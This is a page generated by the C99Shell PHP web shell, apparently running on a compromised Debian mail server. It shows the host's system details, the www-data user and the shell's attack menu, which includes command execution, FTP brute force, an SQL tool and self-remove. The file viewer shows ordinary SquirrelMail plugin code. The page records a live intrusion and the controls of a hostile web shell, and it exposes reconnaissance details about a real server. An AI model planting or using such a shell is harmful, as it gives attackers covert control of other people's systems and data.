!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache/2.2.16 (Debian). PHP/5.3.3-7+squeeze19 

uname -a: Linux mail.tri-specialutilitydistrict.com 2.6.32-5-amd64 #1 SMP Tue May 13 16:34:35 UTC
2014 x86_64
 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/usr/share/squirrelmail/plugins/info/   drwxr-xr-x
Free 130.04 GB of 142.11 GB (91.51%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     functions.php (1.79 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/* functions for info plugin
 * Copyright (c) 1999-2010 The SquirrelMail Project Team
 * Licensed under the GNU GPL. For full terms see the file COPYING.
 *
 * Here are two functions for the info plugin
 * The first gets the CAPABILITY response from your IMAP server.
 * The second runs the passed IMAP test and returns the results 
 * The third prints the results of the IMAP command
 * to options.php.
 * by: Jason Munro jason@stdbev.com
 *
 * $Id: functions.php 13893 2010-01-25 02:47:41Z pdontthink $ 
 *
 */

function get_caps($imap_stream) {
    
$sid sqimap_session_id();
    
$query "$sid CAPABILITY\r\n";
    
fputs ($imap_stream$query);
    
$responses sqimap_read_data_list($imap_stream$sidtrue$responses$message);
    return 
$responses;
}

function 
imap_test($imap_stream$string) {
    global 
$default_charset;
    
$message '';
    
$responses = array ();
    
$sid sqimap_session_id();
    
$results = array();
    
$query "$sid ".trim($string)."\r\n";
    print 
"<tr><td>".htmlspecialchars($query)."</td></tr>";
    
fputs ($imap_stream$query);
    
$response sqimap_read_data_list($imap_stream$sidfalse$responses$message);
    
array_push($response$message);
    return 
$response;
}

function 
print_response($response) {
    foreach(
$response as $index=>$value) {
        if (
is_array($value)) {
            
print_response($value);
        }
        else {
            print 
htmlspecialchars($value)."<br>\n";
        }
    }
}

/**
 * Check if plugin is enabled
 * @param string $plugin_name plugin name
 * @return boolean
 */
function info_is_plugin_enabled($plugin_name) {
    global 
$plugins;

    if (empty(
$plugins) || ! is_array($plugins))
        return 
false;
    
    if ( 
in_array($plugin_name,$plugins) ) {
        return 
true;
    } else {
        return 
false;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.0149 ]--